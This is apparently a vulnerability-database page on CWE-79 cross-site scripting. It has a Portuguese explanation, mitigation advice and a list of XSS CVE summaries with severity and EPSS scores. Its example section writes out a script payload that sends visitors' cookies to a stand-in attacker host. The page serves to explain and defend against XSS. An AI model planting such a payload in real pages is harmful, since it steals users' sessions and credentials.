Fallos del tipo CWE-79

28.572 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-23647HIGHCross-site Scripting in PrismEPSS 1.5%CVE-2022-43018MEDIUMOpenCATS v0.9.6 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the email parameter in the Check Email fuEPSS 1.5%CVE-2022-43016MEDIUMOpenCATS v0.9.6 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the callback component.EPSS 1.5%CVE-2022-43670MEDIUMXSS in Sling CMS Reference App Taxonomy PathEPSS 1.5%CVE-2022-43017MEDIUMOpenCATS v0.9.6 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the indexFile component.EPSS 1.5%CVE-2023-2949HIGHCross-site Scripting (XSS) - Reflected in openemr/openemrEPSS 1.5%CVE-2018-3740—A specially crafted HTML fragment can cause Sanitize gem for Ruby to allow non-whitelisted attributes to be used on a whitelisted HTML elemeEPSS 1.5%CVE-2011-2927MEDIUMSpacewalk: spacewalk and red hat network satellite: cross-site scripting vulnerability via search formsEPSS 1.5%CVE-2011-3344MEDIUMSpacewalk: spacewalk: cross-site scripting via uri in lookup login/password formEPSS 1.5%CVE-2017-2285MEDIUMCross-site scripting vulnerability in Simple Custom CSS and JS prior to version 3.4 allows remote attackers to inject arbitrary web script oEPSS 1.5%CVE-2020-26287HIGHStored XSS in mermaid diagramsEPSS 1.5%CVE-2016-10531—marked is an application that is meant to parse and compile markdown. Due to the way that marked 0.3.5 and earlier parses input, specificallEPSS 1.5%CVE-2023-7173MEDIUMPHPGurukul Hospital Management System registration.php cross site scriptingEPSS 1.5%CVE-2017-2610MEDIUMjenkins before versions 2.44, 2.32.2 is vulnerable to a persisted cross-site scripting in search suggestions due to improperly escaping userEPSS 1.5%CVE-2022-2187—Contact Form 7 Captcha < 0.1.2 - Reflected Cross-Site ScriptingEPSS 1.5%CVE-2022-0206—NewStatPress < 1.3.6 - Reflected Cross-Site ScriptingEPSS 1.5%CVE-2022-0257MEDIUMCross-site Scripting (XSS) - Stored in pimcore/pimcoreEPSS 1.5%CVE-2022-0285MEDIUMCross-site Scripting (XSS) - Stored in pimcore/pimcoreEPSS 1.5%CVE-2022-2473MEDIUMWP-UserOnline <= 2.87.6 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 1.5%CVE-2025-61224MEDIUMCross Site Scripting vulnerability in DokuWiki 2025-05-14a 'Librarian'[56.1] allows a remote attacker to execute arbitrary code via the q paEPSS 1.5%